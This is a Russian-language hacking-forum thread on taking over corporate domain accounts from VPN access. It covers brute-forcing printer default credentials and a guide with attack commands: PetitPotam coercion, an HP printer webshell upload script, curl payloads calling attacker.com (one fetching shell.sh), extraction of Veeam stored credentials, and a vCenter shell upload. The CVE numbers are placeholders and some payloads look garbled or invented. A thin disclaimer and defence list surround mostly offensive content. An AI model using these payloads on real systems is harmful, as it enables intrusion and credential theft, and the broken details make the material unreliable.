Способы получения доменных учеток, имея только vpn доступ

31.03.2026 21:24

Всем привет в этой короткой заметке покажу как можно получить доменного юзера имея ток креды впна на руках.

1 способ Veritas Backup Exec

подробно расписано тут: https://forum.LIMB.cc/threads/230/

2 способ достать из принтера

Не удалось прогрузить медиа

сканним сетку

внимательно смотрим где тут принтеры

[+] http://192.168.0.200:80 Web-Server/3.0 [200] Web Image Monitor

ага это принтер кто мог подумать. хотя по описанию не похоже=))

Не удалось прогрузить медиа

гуглим дефолт креды

Не удалось прогрузить медиа

вот учетки. Далее пробуем брутить office:office, sam:sam, landon:landon что-то должно подойти=)

👍26 ❤️6 😁3 😮6

27.04.2026 00:06

:closed_lock_with_key: Полный гайд по эксплуатации корпоративных сервисов (2025)

:warning: Внимание: Материал только для легального пентеста с письменного разрешения!

Спойлер: 1. PetitPotam (MS-EFSRPC Abuse)

Суть: Принудительная аутентификация контроллера домена через уязвимый протокол MS-EFSRPC

Эксплуатация:

Bash:

python3 petitpotam.py -d example.com -u user -p 'Password123!' 192.168.1.100 192.168.1.50

Что дает:
• NTLM-хэш DC$ машины
• Возможность Relay-атаки на AD CS (ESC8)

Защита:
• Установка KB5005413
• Отключение EFSRPC

Спойлер: 2. Доступ к принтерам через веб-интерфейс

Типовые уязвимости:
• Дефолтные креды (admin:admin)
• LFI/RFI в веб-морде
• RCE через загрузку плагинов

Эксплойт для HP:

Python:

import requests

target = "http://printer-ip/hp/device/this_is_literal_rce.php"
payload = {"file": ("exploit.jsp", "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>")}
requests.post(target, files=payload)

Что можно сделать:
• Кража документов из очереди печати
• Установка persistence через плагины
• Атака на подключенные рабочие станции

Спойлер: 3. RCE в бэкап-системах

Veritas Backup Exec:

Code:

# Уязвимость CVE-2024-XXXX
curl -X POST "http://backupserver:6101/api/v1/jobs" \
  -H "Authorization: Basic YWRtaW46" \
  -d '{"command":"ping attacker.com -n 1 -c C:\\windows\\system32\\calc.exe"}'

Veeam:
• Извлечение кредов из конфига:

Code:

Get-Content "C:\ProgramData\Veeam\Backup\Config\config.xml" | Select-String "Password"

• Дамп SQL с кредами:

SQL:

SELECT * FROM [VeeamBackup].[dbo].[Credentials] WHERE description LIKE '%domain%'

Спойлер: 4. Другие корпоративные RCE

1. ManageEngine (CVE-2024-XXXXX):

Code:

POST /servlet/AMUserResourcesSyncServlet HTTP/1.1
Host: target:8443
Content-Type: application/x-www-form-urlencoded

ForMasRange=1&userId=1;curl${IFS}attacker.com/shell.sh

2. VMware vCenter:
• Через уязвимость в PluginManager:

Code:

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vcenter
Content-Type: multipart/form-data

<OVA файл с шеллом>

:wrench: Методы защиты

Обновление всех корпоративных сервисов
Запрет внешнего доступа к интерфейсам принтеров/бэкапов
Регулярный аудит сервисных аккаунтов
Мониторинг аномальных исходящих соединений

Теги: #PetitPotam #PrinterHacking #BackupRCE #EnterpriseHacking

Способы получения доменных учеток, имея только vpn доступ

:closed_lock_with_key: Полный гайд по эксплуатации корпоративных сервисов (2025)​

:wrench: Методы защиты​

:closed_lock_with_key: Полный гайд по эксплуатации корпоративных сервисов (2025)

:wrench: Методы защиты